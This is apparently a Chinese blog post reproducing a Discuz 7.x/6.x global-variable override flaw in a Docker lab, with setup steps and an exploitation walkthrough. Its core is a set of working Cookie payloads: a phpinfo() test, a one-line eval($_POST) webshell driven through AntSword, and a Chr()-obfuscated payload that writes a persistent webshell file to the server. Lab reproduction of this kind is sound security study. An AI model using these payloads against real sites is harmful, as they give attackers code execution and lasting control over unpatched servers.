• Discuz 7.x 6.x 全局变量防御绕过漏洞复现


    0x00 漏洞概述

    由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞

    详情请参考

    0x01 环境说明

    靶场环境:Ubuntu16

    攻击机及工具:Win7,蚁剑、BurpSuite

    0x02 靶场搭建

    切换目录至 /root/vulhub/discuz/wooyun-2010-080723
    执行如下命令启动Discuz 7.2
      docker-compose up -d
    

    第一次启动需要一段时间下载相关文件,启动成功界面如下

    通过浏览器访问127.0.0.1:8080/install/进行安装Discuz

    配置数据库

    安装完成后自动跳转到网站

    0x03 漏洞复现

    任意访问一个帖子,用BP截获请求包,修改数据包中的Cookie字段的信息

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
    

    页面的返回结果如下,phpinfo()成功执行

    0x04 GetShell

    4.1 一句话木马

    在蚁剑中设置好网址和密码,再在请求头中添加Cookie信息

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=@eval($_POST[777]);
    

    测试之后可以成功连接,双击后可以访问网站目录及操作文件

    打开虚拟终端,显示当前用户为www-data

    4.2 任意文件执行

    # 利用php语句在服务器端创建一个文件并写入内容
    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>'))
    
    # 明文形式的php语句不能成功执行,于是对其进行转化
    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
    

    随意访问一个帖,利用BP截获数据包,修改Cookie值

    4.1中蚁剑已经成功连接,查看服务器中是否生产对应文件

    在浏览器中访问x.php文件

    在蚁剑中测试连接成功

    添加数据后成功连接

  • 相关阅读:
    Javascript加载执行问题探索
    CentOS搭建WordPress
    ORACLE创建表空间,用户及授权
    ApacheCommonsDbutils 学习笔记
    Android SSL BKS证书生成, 以及PFX与JKS证书的转换
    VirtualBox虚拟机CentOS中安装增强插件失败,解决方法
    ORACLE %TYPE与%ROWTYPE
    Java代码调用C#实现的Web服务
    常用的Git命令
    js手机号正则表达式验证
  • 原文地址:https://www.cnblogs.com/cradle-q0518/p/13461937.html
Copyright © 2020-2023  润新知